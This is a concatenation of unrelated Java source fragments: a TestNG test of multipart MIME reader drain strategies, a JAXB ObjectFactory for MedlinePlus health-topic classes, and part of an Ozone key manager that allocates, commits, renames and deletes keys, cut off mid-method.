expectedHeaders.put(header.getName(), header.getValue());
}
Assert.assertEquals(currentCallback.getHeaders(), expectedHeaders);
//Verify that the bodies are empty
Assert.assertNull(currentCallback.getFinishedData());
}
}
@Test(dataProvider = "allTypesOfBodiesDataSource")
public void testSingleAlternateTopRemaining(final int chunkSize, final List<MimeBodyPart> bodyPartList)
throws Exception
{
//Execute the request, verify the correct header came back to ensure the server took the proper drain actions
//and return the payload so we can assert deeper.
executeRequestWithDrainStrategy(chunkSize, bodyPartList, SINGLE_ALTERNATE_TOP_REMAINING, "onDrainComplete");
//Single part alternates between consumption and draining the first 6 parts, then top level drains all of remaining.
//This means that parts 0, 2, 4 will be consumed and parts 1, 3, 5 will be drained.
List<SinglePartMIMEDrainReaderCallbackImpl> singlePartMIMEReaderCallbacks =
_currentMultiPartMIMEReaderCallback.getSinglePartMIMEReaderCallbacks();
Assert.assertEquals(singlePartMIMEReaderCallbacks.size(), 6);
//First the consumed
for (int i = 0; i < singlePartMIMEReaderCallbacks.size(); i = i + 2)
{
//Actual
final SinglePartMIMEDrainReaderCallbackImpl currentCallback = singlePartMIMEReaderCallbacks.get(i);
//Expected
final BodyPart currentExpectedPart = _currentMimeMultipartBody.getBodyPart(i);
//Construct expected headers and verify they match
final Map<String, String> expectedHeaders = new HashMap<String, String>();
@SuppressWarnings("unchecked")
final Enumeration<Header> allHeaders = currentExpectedPart.getAllHeaders();
while (allHeaders.hasMoreElements())
{
final Header header = allHeaders.nextElement();
expectedHeaders.put(header.getName(), header.getValue());
}
Assert.assertEquals(currentCallback.getHeaders(), expectedHeaders);
//Verify the body matches
if (currentExpectedPart.getContent() instanceof byte[])
{
Assert.assertEquals(currentCallback.getFinishedData().copyBytes(), currentExpectedPart.getContent());
}
else
{
//Default is String
Assert.assertEquals(new String(currentCallback.getFinishedData().copyBytes()), currentExpectedPart.getContent());
}
}
//Then the drained
for (int i = 1; i < singlePartMIMEReaderCallbacks.size(); i = i + 2)
{
//Actual
final SinglePartMIMEDrainReaderCallbackImpl currentCallback = singlePartMIMEReaderCallbacks.get(i);
//Expected
final BodyPart currentExpectedPart = _currentMimeMultipartBody.getBodyPart(i);
//Construct expected headers and verify they match
final Map<String, String> expectedHeaders = new HashMap<String, String>();
@SuppressWarnings("unchecked")
final Enumeration<Header> allHeaders = currentExpectedPart.getAllHeaders();
while (allHeaders.hasMoreElements())
{
final Header header = allHeaders.nextElement();
expectedHeaders.put(header.getName(), header.getValue());
}
Assert.assertEquals(currentCallback.getHeaders(), expectedHeaders);
//Verify that the bodies are empty
Assert.assertNull(currentCallback.getFinishedData(), null);
}
}
@Test(dataProvider = "allTypesOfBodiesDataSource")
public void testSingleAll(final int chunkSize, final List<MimeBodyPart> bodyPartList) throws Exception
{
//Execute the request, verify the correct header came back to ensure the server took the proper drain actions
//and return the payload so we can assert deeper.
executeRequestWithDrainStrategy(chunkSize, bodyPartList, SINGLE_ALL, "onFinished");
//Single part drains all, one by one
List<SinglePartMIMEDrainReaderCallbackImpl> singlePartMIMEReaderCallbacks =
_currentMultiPartMIMEReaderCallback.getSinglePartMIMEReaderCallbacks();
Assert.assertEquals(singlePartMIMEReaderCallbacks.size(), 12);
//Verify everything was drained
for (int i = 0; i < singlePartMIMEReaderCallbacks.size(); i++)
{
//Actual
final SinglePartMIMEDrainReaderCallbackImpl currentCallback = singlePartMIMEReaderCallbacks.get(i);
//Expected
final BodyPart currentExpectedPart = _currentMimeMultipartBody.getBodyPart(i);
//Construct expected headers and verify they match
final Map<String, String> expectedHeaders = new HashMap<String, String>();
@SuppressWarnings("unchecked")
final Enumeration<Header> allHeaders = currentExpectedPart.getAllHeaders();
while (allHeaders.hasMoreElements())
{
final Header header = allHeaders.nextElement();
expectedHeaders.put(header.getName(), header.getValue());
}
Assert.assertEquals(currentCallback.getHeaders(), expectedHeaders);
//Verify that the bodies are empty
Assert.assertNull(currentCallback.getFinishedData());
}
}
@Test(dataProvider = "allTypesOfBodiesDataSource")
public void testSingleAlternate(final int chunkSize, final List<MimeBodyPart> bodyPartList) throws Exception
{
//Execute the request, verify the correct header came back to ensure the server took the proper drain actions
//and return the payload so we can assert deeper.
executeRequestWithDrainStrategy(chunkSize, bodyPartList, SINGLE_ALTERNATE, "onFinished");
//Single part alternates between consumption and draining for all 12 parts.
//This means that parts 0, 2, 4, etc.. will be consumed and parts 1, 3, 5, etc... will be drained.
List<SinglePartMIMEDrainReaderCallbackImpl> singlePartMIMEReaderCallbacks =
_currentMultiPartMIMEReaderCallback.getSinglePartMIMEReaderCallbacks();
Assert.assertEquals(singlePartMIMEReaderCallbacks.size(), 12);
//First the consumed
for (int i = 0; i < singlePartMIMEReaderCallbacks.size(); i = i + 2)
{
//Actual
final SinglePartMIMEDrainReaderCallbackImpl currentCallback = singlePartMIMEReaderCallbacks.get(i);
//Expected
final BodyPart currentExpectedPart = _currentMimeMultipartBody.getBodyPart(i);
//Construct expected headers and verify they match
final Map<String, String> expectedHeaders = new HashMap<String, String>();
@SuppressWarnings("unchecked")
final Enumeration<Header> allHeaders = currentExpectedPart.getAllHeaders();
while (allHeaders.hasMoreElements())
{
final Header header = allHeaders.nextElement();
expectedHeaders.put(header.getName(), header.getValue());
}
Assert.assertEquals(currentCallback.getHeaders(), expectedHeaders);
//Verify the body matches
if (currentExpectedPart.getContent() instanceof byte[])
{
Assert.assertEquals(currentCallback.getFinishedData().copyBytes(), currentExpectedPart.getContent());
}
else
{
//Default is String
Assert.assertEquals(new String(currentCallback.getFinishedData().copyBytes()), currentExpectedPart.getContent());
}
}
//Then the drained
for (int i = 1; i < singlePartMIMEReaderCallbacks.size(); i = i + 2)
{
//Actual
final SinglePartMIMEDrainReaderCallbackImpl currentCallback = singlePartMIMEReaderCallbacks.get(i);
//Expected
final BodyPart currentExpectedPart = _currentMimeMultipartBody.getBodyPart(i);
//Construct expected headers and verify they match
final Map<String, String> expectedHeaders = new HashMap<String, String>();
@SuppressWarnings("unchecked")
final Enumeration<Header> allHeaders = currentExpectedPart.getAllHeaders();
while (allHeaders.hasMoreElements())
{
final Header header = allHeaders.nextElement();
expectedHeaders.put(header.getName(), header.getValue());
}
Assert.assertEquals(currentCallback.getHeaders(), expectedHeaders);
//Verify that the bodies are empty
Assert.assertNull(currentCallback.getFinishedData());
}
}
///////////////////////////////////////////////////////////////////////////////////////
private void executeRequestWithDrainStrategy(final int chunkSize, final List<MimeBodyPart> bodyPartList,
final String drainStrategy, final String serverHeaderPrefix) throws Exception
{
MimeMultipart multiPartMimeBody = new MimeMultipart();
//Add your body parts
for (final MimeBodyPart bodyPart : bodyPartList)
{
multiPartMimeBody.addBodyPart(bodyPart);
}
final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
multiPartMimeBody.writeTo(byteArrayOutputStream);
final ByteString requestPayload = ByteString.copy(byteArrayOutputStream.toByteArray());
_currentMimeMultipartBody = multiPartMimeBody;
mockR2AndWrite(requestPayload, chunkSize, multiPartMimeBody.getContentType());
final CountDownLatch latch = new CountDownLatch(1);
MultiPartMIMEReader reader = MultiPartMIMEReader.createAndAcquireStream(_streamRequest);
_currentMultiPartMIMEReaderCallback = new MultiPartMIMEDrainReaderCallbackImpl(latch, drainStrategy, reader);
reader.registerReaderCallback(_currentMultiPartMIMEReaderCallback);
latch.await(_testTimeout, TimeUnit.MILLISECONDS);
Assert.assertEquals(_currentMultiPartMIMEReaderCallback.getResponseHeaders().get(DRAIN_HEADER), serverHeaderPrefix + drainStrategy);
try
{
reader.drainAllParts();
Assert.fail();
}
catch (MultiPartReaderFinishedException multiPartReaderFinishedException)
{
}
Assert.assertTrue(reader.haveAllPartsFinished());
//mock verifies
verify(_streamRequest, times(1)).getEntityStream();
verify(_streamRequest, times(1)).getHeader(HEADER_CONTENT_TYPE);
verify(_entityStream, times(1)).setReader(isA(MultiPartMIMEReader.R2MultiPartMIMEReader.class));
final int expectedRequests = (int) Math.ceil((double) requestPayload.length() / chunkSize);
//One more expected request because we have to make the last call to get called onDone().
verify(_readHandle, times(expectedRequests + 1)).request(1);
verifyNoMoreInteractions(_streamRequest);
verifyNoMoreInteractions(_entityStream);
verifyNoMoreInteractions(_readHandle);
}
private static class SinglePartMIMEDrainReaderCallbackImpl implements SinglePartMIMEReaderCallback
{
final MultiPartMIMEReader.SinglePartMIMEReader _singlePartMIMEReader;
final ByteArrayOutputStream _byteArrayOutputStream = new ByteArrayOutputStream();
Map<String, String> _headers;
ByteString _finishedData = null;
static int partCounter = 0;
SinglePartMIMEDrainReaderCallbackImpl(final MultiPartMIMEReader.SinglePartMIMEReader singlePartMIMEReader)
{
_singlePartMIMEReader = singlePartMIMEReader;
_headers = singlePartMIMEReader.dataSourceHeaders();
}
public Map<String, String> getHeaders()
{
return _headers;
}
public ByteString getFinishedData()
{
return _finishedData;
}
@Override
public void onPartDataAvailable(ByteString partData)
{
try
{
_byteArrayOutputStream.write(partData.copyBytes());
}
catch (IOException ioException)
{
Assert.fail();
}
_singlePartMIMEReader.requestPartData();
}
@Override
public void onFinished()
{
partCounter++;
_finishedData = ByteString.copy(_byteArrayOutputStream.toByteArray());
}
//Delegate to the top level for now for these two
@Override
public void onDrainComplete()
{
partCounter++;
}
@Override
public void onStreamError(Throwable throwable)
{
//MultiPartMIMEReader will end up calling onStreamError(e) on our top level callback
//which will fail the test
}
}
private static class MultiPartMIMEDrainReaderCallbackImpl implements MultiPartMIMEReaderCallback
{
final CountDownLatch _latch;
final String _drainValue;
final MultiPartMIMEReader _reader;
final Map<String, String> _responseHeaders = new HashMap<String, String>();
final List<SinglePartMIMEDrainReaderCallbackImpl> _singlePartMIMEReaderCallbacks = new ArrayList<SinglePartMIMEDrainReaderCallbackImpl>();
MultiPartMIMEDrainReaderCallbackImpl(final CountDownLatch latch, final String drainValue,
final MultiPartMIMEReader reader)
{
_latch = latch;
_drainValue = drainValue;
_reader = reader;
}
public List<SinglePartMIMEDrainReaderCallbackImpl> getSinglePartMIMEReaderCallbacks()
{
return _singlePartMIMEReaderCallbacks;
}
public Map<String, String> getResponseHeaders()
{
return _responseHeaders;
}
@Override
public void onNewPart(MultiPartMIMEReader.SinglePartMIMEReader singlePartMIMEReader)
{
if (_drainValue.equalsIgnoreCase(SINGLE_ALL_NO_CALLBACK))
{
singlePartMIMEReader.drainPart();
return;
}
if (_drainValue.equalsIgnoreCase(TOP_ALL_WITH_CALLBACK))
{
_reader.drainAllParts();
return;
}
if (_drainValue.equalsIgnoreCase(SINGLE_PARTIAL_TOP_REMAINING) && _singlePartMIMEReaderCallbacks.size() == 6)
{
_reader.drainAllParts();
return;
}
if (_drainValue.equalsIgnoreCase(SINGLE_ALTERNATE_TOP_REMAINING) && _singlePartMIMEReaderCallbacks.size() == 6)
{
_reader.drainAllParts();
return;
}
//Now we know we have to either consume or drain individually using a registered callback, so we
//register with the SinglePartReader and take appropriate action based on the drain strategy:
SinglePartMIMEDrainReaderCallbackImpl singlePartMIMEReaderCallback =
new SinglePartMIMEDrainReaderCallbackImpl(singlePartMIMEReader);
singlePartMIMEReader.registerReaderCallback(singlePartMIMEReaderCallback);
_singlePartMIMEReaderCallbacks.add(singlePartMIMEReaderCallback);
if (_drainValue.equalsIgnoreCase(SINGLE_ALL) || _drainValue.equalsIgnoreCase(SINGLE_PARTIAL_TOP_REMAINING))
{
singlePartMIMEReader.drainPart();
return;
}
if (_drainValue.equalsIgnoreCase(SINGLE_ALTERNATE) || _drainValue.equalsIgnoreCase(SINGLE_ALTERNATE_TOP_REMAINING))
{
if (SinglePartMIMEDrainReaderCallbackImpl.partCounter % 2 == 1)
{
singlePartMIMEReader.drainPart();
}
else
{
singlePartMIMEReader.requestPartData();
}
}
}
@Override
public void onFinished()
{
//Happens for SINGLE_ALL_NO_CALLBACK, SINGLE_ALL and SINGLE_ALTERNATE
_responseHeaders.put(DRAIN_HEADER, "onFinished" + _drainValue);
_latch.countDown();
}
@Override
public void onDrainComplete()
{
//Happens for TOP_ALL, SINGLE_PARTIAL_TOP_REMAINING and SINGLE_ALTERNATE_TOP_REMAINING
_responseHeaders.put(DRAIN_HEADER, "onDrainComplete" + _drainValue);
_latch.countDown();
}
@Override
public void onStreamError(Throwable throwable)
{
Assert.fail();
}
}
}
|
Java
|
@XmlRegistry
public class ObjectFactory {
/**
* Create a new ObjectFactory that can be used to create new instances of schema derived classes for package: com.medline
*
*/
public ObjectFactory() {
}
/**
* Create an instance of {@link HealthTopics }
*
*/
public HealthTopics createHealthTopics() {
return new HealthTopics();
}
/**
* Create an instance of {@link HealthTopics.HealthTopic }
*
*/
public HealthTopics.HealthTopic createHealthTopicsHealthTopic() {
return new HealthTopics.HealthTopic();
}
/**
* Create an instance of {@link HealthTopics.HealthTopic.MeshHeading }
*
*/
public HealthTopics.HealthTopic.MeshHeading createHealthTopicsHealthTopicMeshHeading() {
return new HealthTopics.HealthTopic.MeshHeading();
}
/**
* Create an instance of {@link HealthTopics.HealthTopic.Group }
*
*/
public HealthTopics.HealthTopic.Group createHealthTopicsHealthTopicGroup() {
return new HealthTopics.HealthTopic.Group();
}
/**
* Create an instance of {@link HealthTopics.HealthTopic.LanguageMappedTopic }
*
*/
public HealthTopics.HealthTopic.LanguageMappedTopic createHealthTopicsHealthTopicLanguageMappedTopic() {
return new HealthTopics.HealthTopic.LanguageMappedTopic();
}
/**
* Create an instance of {@link HealthTopics.HealthTopic.OtherLanguage }
*
*/
public HealthTopics.HealthTopic.OtherLanguage createHealthTopicsHealthTopicOtherLanguage() {
return new HealthTopics.HealthTopic.OtherLanguage();
}
/**
* Create an instance of {@link HealthTopics.HealthTopic.PrimaryInstitute }
*
*/
public HealthTopics.HealthTopic.PrimaryInstitute createHealthTopicsHealthTopicPrimaryInstitute() {
return new HealthTopics.HealthTopic.PrimaryInstitute();
}
/**
* Create an instance of {@link HealthTopics.HealthTopic.RelatedTopic }
*
*/
public HealthTopics.HealthTopic.RelatedTopic createHealthTopicsHealthTopicRelatedTopic() {
return new HealthTopics.HealthTopic.RelatedTopic();
}
/**
* Create an instance of {@link HealthTopics.HealthTopic.MeshHeading.Descriptor }
*
*/
public HealthTopics.HealthTopic.MeshHeading.Descriptor createHealthTopicsHealthTopicMeshHeadingDescriptor() {
return new HealthTopics.HealthTopic.MeshHeading.Descriptor();
}
/**
* Create an instance of {@link HealthTopics.HealthTopic.MeshHeading.Qualifier }
*
*/
public HealthTopics.HealthTopic.MeshHeading.Qualifier createHealthTopicsHealthTopicMeshHeadingQualifier() {
return new HealthTopics.HealthTopic.MeshHeading.Qualifier();
}
}
|
Java
|
public class KeyManagerImpl implements KeyManager {
private static final Logger LOG =
LoggerFactory.getLogger(KeyManagerImpl.class);
/**
* A SCM block client, used to talk to SCM to allocate block during putKey.
*/
private final ScmBlockLocationProtocol scmBlockClient;
private final KSMMetadataManager metadataManager;
private final long scmBlockSize;
private final boolean useRatis;
private final BackgroundService keyDeletingService;
private final BackgroundService openKeyCleanupService;
private final long preallocateMax;
private final Random random;
private final String ksmId;
public KeyManagerImpl(ScmBlockLocationProtocol scmBlockClient,
KSMMetadataManager metadataManager, OzoneConfiguration conf,
String ksmId) {
this.scmBlockClient = scmBlockClient;
this.metadataManager = metadataManager;
this.scmBlockSize = conf.getLong(OZONE_SCM_BLOCK_SIZE_IN_MB,
OZONE_SCM_BLOCK_SIZE_DEFAULT) * OzoneConsts.MB;
this.useRatis = conf.getBoolean(DFS_CONTAINER_RATIS_ENABLED_KEY,
DFS_CONTAINER_RATIS_ENABLED_DEFAULT);
long blockDeleteInterval = conf.getTimeDuration(
OZONE_BLOCK_DELETING_SERVICE_INTERVAL,
OZONE_BLOCK_DELETING_SERVICE_INTERVAL_DEFAULT,
TimeUnit.MILLISECONDS);
long serviceTimeout = conf.getTimeDuration(
OZONE_BLOCK_DELETING_SERVICE_TIMEOUT,
OZONE_BLOCK_DELETING_SERVICE_TIMEOUT_DEFAULT,
TimeUnit.MILLISECONDS);
this.preallocateMax = conf.getLong(
OZONE_KEY_PREALLOCATION_MAXSIZE,
OZONE_KEY_PREALLOCATION_MAXSIZE_DEFAULT);
keyDeletingService = new KeyDeletingService(
scmBlockClient, this, blockDeleteInterval, serviceTimeout, conf);
int openkeyCheckInterval = conf.getInt(
OZONE_OPEN_KEY_CLEANUP_SERVICE_INTERVAL_SECONDS,
OZONE_OPEN_KEY_CLEANUP_SERVICE_INTERVAL_SECONDS_DEFAULT);
openKeyCleanupService = new OpenKeyCleanupService(
scmBlockClient, this, openkeyCheckInterval, serviceTimeout);
random = new Random();
this.ksmId = ksmId;
}
@VisibleForTesting
public BackgroundService getOpenKeyCleanupService() {
return openKeyCleanupService;
}
@Override
public void start() {
keyDeletingService.start();
openKeyCleanupService.start();
}
@Override
public void stop() throws IOException {
keyDeletingService.shutdown();
openKeyCleanupService.shutdown();
}
private void validateBucket(String volumeName, String bucketName)
throws IOException {
byte[] volumeKey = metadataManager.getVolumeKey(volumeName);
byte[] bucketKey = metadataManager.getBucketKey(volumeName, bucketName);
//Check if the volume exists
if(metadataManager.get(volumeKey) == null) {
LOG.error("volume not found: {}", volumeName);
throw new KSMException("Volume not found",
KSMException.ResultCodes.FAILED_VOLUME_NOT_FOUND);
}
//Check if bucket already exists
if(metadataManager.get(bucketKey) == null) {
LOG.error("bucket not found: {}/{} ", volumeName, bucketName);
throw new KSMException("Bucket not found",
KSMException.ResultCodes.FAILED_BUCKET_NOT_FOUND);
}
}
@Override
public KsmKeyLocationInfo allocateBlock(KsmKeyArgs args, int clientID)
throws IOException {
Preconditions.checkNotNull(args);
metadataManager.writeLock().lock();
String volumeName = args.getVolumeName();
String bucketName = args.getBucketName();
String keyName = args.getKeyName();
ReplicationFactor factor = args.getFactor();
ReplicationType type = args.getType();
// If user does not specify a replication strategy or
// replication factor, KSM will use defaults.
if(factor == null) {
factor = useRatis ? ReplicationFactor.THREE: ReplicationFactor.ONE;
}
if(type == null) {
type = useRatis ? ReplicationType.RATIS : ReplicationType.STAND_ALONE;
}
try {
validateBucket(volumeName, bucketName);
String objectKey = metadataManager.getKeyWithDBPrefix(
volumeName, bucketName, keyName);
byte[] openKey = metadataManager.getOpenKeyNameBytes(objectKey, clientID);
byte[] keyData = metadataManager.get(openKey);
if (keyData == null) {
LOG.error("Allocate block for a key not in open status in meta store " +
objectKey + " with ID " + clientID);
throw new KSMException("Open Key not found",
KSMException.ResultCodes.FAILED_KEY_NOT_FOUND);
}
AllocatedBlock allocatedBlock =
scmBlockClient.allocateBlock(scmBlockSize, type, factor, ksmId);
KsmKeyInfo keyInfo =
KsmKeyInfo.getFromProtobuf(KeyInfo.parseFrom(keyData));
KsmKeyLocationInfo info = new KsmKeyLocationInfo.Builder()
.setBlockID(allocatedBlock.getBlockID())
.setShouldCreateContainer(allocatedBlock.getCreateContainer())
.setLength(scmBlockSize)
.setOffset(0)
.build();
// current version not committed, so new blocks coming now are added to
// the same version
keyInfo.appendNewBlocks(Collections.singletonList(info));
keyInfo.updateModifcationTime();
metadataManager.put(openKey, keyInfo.getProtobuf().toByteArray());
return info;
} finally {
metadataManager.writeLock().unlock();
}
}
@Override
public OpenKeySession openKey(KsmKeyArgs args) throws IOException {
Preconditions.checkNotNull(args);
metadataManager.writeLock().lock();
String volumeName = args.getVolumeName();
String bucketName = args.getBucketName();
String keyName = args.getKeyName();
ReplicationFactor factor = args.getFactor();
ReplicationType type = args.getType();
// If user does not specify a replication strategy or
// replication factor, KSM will use defaults.
if(factor == null) {
factor = useRatis ? ReplicationFactor.THREE: ReplicationFactor.ONE;
}
if(type == null) {
type = useRatis ? ReplicationType.RATIS : ReplicationType.STAND_ALONE;
}
try {
validateBucket(volumeName, bucketName);
long requestedSize = Math.min(preallocateMax, args.getDataSize());
List<KsmKeyLocationInfo> locations = new ArrayList<>();
String objectKey = metadataManager.getKeyWithDBPrefix(
volumeName, bucketName, keyName);
// requested size is not required but more like a optimization:
// SCM looks at the requested, if it 0, no block will be allocated at
// the point, if client needs more blocks, client can always call
// allocateBlock. But if requested size is not 0, KSM will preallocate
// some blocks and piggyback to client, to save RPC calls.
while (requestedSize > 0) {
long allocateSize = Math.min(scmBlockSize, requestedSize);
AllocatedBlock allocatedBlock =
scmBlockClient.allocateBlock(allocateSize, type, factor, ksmId);
KsmKeyLocationInfo subKeyInfo = new KsmKeyLocationInfo.Builder()
.setBlockID(allocatedBlock.getBlockID())
.setShouldCreateContainer(allocatedBlock.getCreateContainer())
.setLength(allocateSize)
.setOffset(0)
.build();
locations.add(subKeyInfo);
requestedSize -= allocateSize;
}
// NOTE size of a key is not a hard limit on anything, it is a value that
// client should expect, in terms of current size of key. If client sets a
// value, then this value is used, otherwise, we allocate a single block
// which is the current size, if read by the client.
long size = args.getDataSize() >= 0 ? args.getDataSize() : scmBlockSize;
byte[] keyKey = metadataManager.getDBKeyBytes(
volumeName, bucketName, keyName);
byte[] value = metadataManager.get(keyKey);
KsmKeyInfo keyInfo;
long openVersion;
if (value != null) {
// the key already exist, the new blocks will be added as new version
keyInfo = KsmKeyInfo.getFromProtobuf(KeyInfo.parseFrom(value));
// when locations.size = 0, the new version will have identical blocks
// as its previous version
openVersion = keyInfo.addNewVersion(locations);
keyInfo.setDataSize(size + keyInfo.getDataSize());
} else {
// the key does not exist, create a new object, the new blocks are the
// version 0
long currentTime = Time.now();
keyInfo = new KsmKeyInfo.Builder()
.setVolumeName(args.getVolumeName())
.setBucketName(args.getBucketName())
.setKeyName(args.getKeyName())
.setKsmKeyLocationInfos(Collections.singletonList(
new KsmKeyLocationInfoGroup(0, locations)))
.setCreationTime(currentTime)
.setModificationTime(currentTime)
.setDataSize(size)
.build();
openVersion = 0;
}
// Generate a random ID which is not already in meta db.
int id = -1;
// in general this should finish in a couple times at most. putting some
// arbitrary large number here to avoid dead loop.
for (int j = 0; j < 10000; j++) {
id = random.nextInt();
byte[] openKey = metadataManager.getOpenKeyNameBytes(objectKey, id);
if (metadataManager.get(openKey) == null) {
metadataManager.put(openKey, keyInfo.getProtobuf().toByteArray());
break;
}
}
if (id == -1) {
throw new IOException("Failed to find a usable id for " + objectKey);
}
LOG.debug("Key {} allocated in volume {} bucket {}",
keyName, volumeName, bucketName);
return new OpenKeySession(id, keyInfo, openVersion);
} catch (KSMException e) {
throw e;
} catch (IOException ex) {
if (!(ex instanceof KSMException)) {
LOG.error("Key open failed for volume:{} bucket:{} key:{}",
volumeName, bucketName, keyName, ex);
}
throw new KSMException(ex.getMessage(),
KSMException.ResultCodes.FAILED_KEY_ALLOCATION);
} finally {
metadataManager.writeLock().unlock();
}
}
@Override
public void commitKey(KsmKeyArgs args, int clientID) throws IOException {
Preconditions.checkNotNull(args);
metadataManager.writeLock().lock();
String volumeName = args.getVolumeName();
String bucketName = args.getBucketName();
String keyName = args.getKeyName();
try {
validateBucket(volumeName, bucketName);
String objectKey = metadataManager.getKeyWithDBPrefix(
volumeName, bucketName, keyName);
byte[] objectKeyBytes = metadataManager.getDBKeyBytes(volumeName,
bucketName, keyName);
byte[] openKey = metadataManager.getOpenKeyNameBytes(objectKey, clientID);
byte[] openKeyData = metadataManager.get(openKey);
if (openKeyData == null) {
throw new KSMException("Commit a key without corresponding entry " +
DFSUtil.bytes2String(openKey), ResultCodes.FAILED_KEY_NOT_FOUND);
}
KsmKeyInfo keyInfo =
KsmKeyInfo.getFromProtobuf(KeyInfo.parseFrom(openKeyData));
keyInfo.setDataSize(args.getDataSize());
keyInfo.setModificationTime(Time.now());
BatchOperation batch = new BatchOperation();
batch.delete(openKey);
batch.put(objectKeyBytes, keyInfo.getProtobuf().toByteArray());
metadataManager.writeBatch(batch);
} catch (KSMException e) {
throw e;
} catch (IOException ex) {
LOG.error("Key commit failed for volume:{} bucket:{} key:{}",
volumeName, bucketName, keyName, ex);
throw new KSMException(ex.getMessage(),
KSMException.ResultCodes.FAILED_KEY_ALLOCATION);
} finally {
metadataManager.writeLock().unlock();
}
}
@Override
public KsmKeyInfo lookupKey(KsmKeyArgs args) throws IOException {
Preconditions.checkNotNull(args);
metadataManager.writeLock().lock();
String volumeName = args.getVolumeName();
String bucketName = args.getBucketName();
String keyName = args.getKeyName();
try {
byte[] keyKey = metadataManager.getDBKeyBytes(
volumeName, bucketName, keyName);
byte[] value = metadataManager.get(keyKey);
if (value == null) {
LOG.debug("volume:{} bucket:{} Key:{} not found",
volumeName, bucketName, keyName);
throw new KSMException("Key not found",
KSMException.ResultCodes.FAILED_KEY_NOT_FOUND);
}
return KsmKeyInfo.getFromProtobuf(KeyInfo.parseFrom(value));
} catch (DBException ex) {
LOG.error("Get key failed for volume:{} bucket:{} key:{}",
volumeName, bucketName, keyName, ex);
throw new KSMException(ex.getMessage(),
KSMException.ResultCodes.FAILED_KEY_NOT_FOUND);
} finally {
metadataManager.writeLock().unlock();
}
}
@Override
public void renameKey(KsmKeyArgs args, String toKeyName) throws IOException {
Preconditions.checkNotNull(args);
Preconditions.checkNotNull(toKeyName);
String volumeName = args.getVolumeName();
String bucketName = args.getBucketName();
String fromKeyName = args.getKeyName();
if (toKeyName.length() == 0 || fromKeyName.length() == 0) {
LOG.error("Rename key failed for volume:{} bucket:{} fromKey:{} toKey:{}.",
volumeName, bucketName, fromKeyName, toKeyName);
throw new KSMException("Key name is empty",
ResultCodes.FAILED_INVALID_KEY_NAME);
}
metadataManager.writeLock().lock();
try {
// fromKeyName should exist
byte[] fromKey = metadataManager.getDBKeyBytes(
volumeName, bucketName, fromKeyName);
byte[] fromKeyValue = metadataManager.get(fromKey);
if (fromKeyValue == null) {
// TODO: Add support for renaming open key
LOG.error(
"Rename key failed for volume:{} bucket:{} fromKey:{} toKey:{}. "
+ "Key: {} not found.", volumeName, bucketName, fromKeyName,
toKeyName, fromKeyName);
throw new KSMException("Key not found",
KSMException.ResultCodes.FAILED_KEY_NOT_FOUND);
}
// toKeyName should not exist
byte[] toKey =
metadataManager.getDBKeyBytes(volumeName, bucketName, toKeyName);
byte[] toKeyValue = metadataManager.get(toKey);
if (toKeyValue != null) {
LOG.error(
"Rename key failed for volume:{} bucket:{} fromKey:{} toKey:{}. "
+ "Key: {} already exists.", volumeName, bucketName,
fromKeyName, toKeyName, toKeyName);
throw new KSMException("Key not found",
KSMException.ResultCodes.FAILED_KEY_ALREADY_EXISTS);
}
if (fromKeyName.equals(toKeyName)) {
return;
}
KsmKeyInfo newKeyInfo =
KsmKeyInfo.getFromProtobuf(KeyInfo.parseFrom(fromKeyValue));
newKeyInfo.setKeyName(toKeyName);
newKeyInfo.updateModifcationTime();
BatchOperation batch = new BatchOperation();
batch.delete(fromKey);
batch.put(toKey, newKeyInfo.getProtobuf().toByteArray());
metadataManager.writeBatch(batch);
} catch (DBException ex) {
LOG.error("Rename key failed for volume:{} bucket:{} fromKey:{} toKey:{}.",
volumeName, bucketName, fromKeyName, toKeyName, ex);
throw new KSMException(ex.getMessage(),
ResultCodes.FAILED_KEY_RENAME);
} finally {
metadataManager.writeLock().unlock();
}
}
@Override
public void deleteKey(KsmKeyArgs args) throws IOException {
Preconditions.checkNotNull(args);
metadataManager.writeLock().lock();
String volumeName = args.getVolumeName();
String bucketName = args.getBucketName();
String keyName = args.getKeyName();
try {
byte[] objectKey = metadataManager.getDBKeyBytes(
volumeName, bucketName, keyName);
byte[] objectValue = metadataManager.get(objectKey);
if (objectValue == null) {
throw new KSMException("Key not found",
KSMException.ResultCodes.FAILED_KEY_NOT_FOUND);
}
byte[] deletingKey = metadataManager.getDeletedKeyName(objectKey);
BatchOperation batch = new BatchOperation();
batch.put(deletingKey, objectValue);
batch.delete(objectKey);
metadataManager.writeBatch(batch);
} catch (DBException ex) {
LOG.error(String.format("Delete key failed for volume:%s "
+ "bucket:%s key:%s", volumeName, bucketName, keyName), ex);
throw new KSMException(ex.getMessage(), ex,
ResultCodes.FAILED_KEY_DELETION);
} finally {
metadataManager.writeLock().unlock();
}
}
@Override
public List<KsmKeyInfo> listKeys(String volumeName, String bucketName,
String startKey, String keyPrefix, int maxKeys) throws IOException {
Preconditions.checkNotNull(volumeName);
Preconditions.checkNotNull(bucketName);
metadataManager.readLock().lock();
try {
return metadataManager.listKeys(volumeName, bucketName,
startKey, keyPrefix, maxKeys);
} finally {
metadataManager.readLock().unlock();
}
}
@Override
public List<BlockGroup> getPendingDeletionKeys(final int count)
throws IOException {
metadataManager.readLock().lock();
try {
return metadataManager.getPendingDeletionKeys(count);
} finally {
metadataManager.readLock().unlock();
}
}
@Override
public void deletePendingDeletionKey(String objectKeyName)
throws IOException{
Preconditions.checkNotNull(objectKeyName);
if (!objectKeyName.startsWith(OzoneConsts.DELETING_KEY_PREFIX)) {
throw new IllegalArgumentException("Invalid key name,"
+ " the name should be the key name with deleting prefix");
}
// Simply removes the entry from KSM DB.
metadataManager.writeLock().lock();
try {
byte[] pendingDelKey = DFSUtil.string2Bytes(objectKeyName);
byte[] delKeyValue = metadataManager.get(pendingDelKey);
if (delKeyValue == null) {
throw new IOException("Failed to delete key " + objectKeyName
+ " because it is not found in DB");
}
metadataManager.delete(pendingDelKey);
} finally {
metadataManager.writeLock().unlock();
}
}
@Override
public List<BlockGroup> getExpiredOpenKeys() throws IOException {
metadataManager.readLock().lock();
try {
return metadataManager.getExpiredOpenKeys();
} finally {
metadataManager.readLock().unlock();
}
}
@Override
public void deleteExpiredOpenKey(String objectKeyName) throws IOException {
Preconditions.checkNotNull(objectKeyName);
if (!objectKeyName.startsWith(OzoneConsts.OPEN_KEY_PREFIX)) {
throw new IllegalArgumentException("Invalid key name,"
+ " the name should be the key name with open key prefix");
}
// Simply removes the entry from KSM DB.
metadataManager.writeLock().lock();
try {
byte[] openKey = DFSUtil.string2Bytes(objectKeyName);
byte[] delKeyValue = metadataManager.get(openKey);
